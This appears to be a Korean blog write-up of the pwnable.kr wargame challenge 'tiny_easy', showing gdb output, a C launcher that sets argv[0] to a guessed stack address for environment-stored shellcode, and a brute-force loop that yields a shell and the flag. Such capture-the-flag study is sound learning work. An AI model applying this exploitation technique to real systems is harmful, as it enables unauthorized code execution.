본문 바로가기
Wargame/pwnable.kr

[Rookiss] tiny_easy

by bbolmin 2014. 7. 28.


먼저 readelf -h로 엔트리 포인트 확인 ... ( Entry point address:               0x8048054)



디버깅 결과



(gdb) b *0x8048054

Breakpoint 1 at 0x8048054

(gdb) r

Starting program: /home/tiny_easy/tiny_easy


Breakpoint 1, 0x08048054 in ?? ()

(gdb) x/10i $eip

=> 0x8048054:   pop    %eax

   0x8048055:   pop    %edx

   0x8048056:   mov    (%edx),%edx

   0x8048058:   call   *%edx

   0x804805a:   add    %al,(%eax)

             .....

(gdb) x/4x $esp

0xff998890:     0x00000001      0xff99a783      0x00000000      0xff99a79d

(gdb)



=> argv[0] 값으로 eip를 바꿔주는 역할을 한다.



환경 변수에 쉘코드 올리고 argv[0]을 쉘코드 주소로 하는 프로그램을 아래와 같이 작성한다.


#include <stdio.h>

#include <unistd.h>


int main()

{

        char buf[] = "\x11\x11\x91\xff";


        execl("/home/tiny_easy/tiny_easy", buf, 0);


        return 0;

}




랜덤 스택이기 때문에  brute force ~~~~ 하면 쉘이 나온다.


while [ 1 ]; do ./a.out; done



$ cd /home/tiny_easy

$ ls

flag  tiny_easy

$ cat flag

What a tiny task :) good job!





'Wargame > pwnable.kr' 카테고리의 다른 글

[Grotesque] wtf  (0) 2015.02.25
[Hacker's Secret] unexploitable  (0) 2014.07.27
[Rookiss] simple login  (0) 2014.07.27
[Rookiss] brain fuck  (0) 2014.07.26
[Rookiss] ascii_easy  (0) 2014.07.21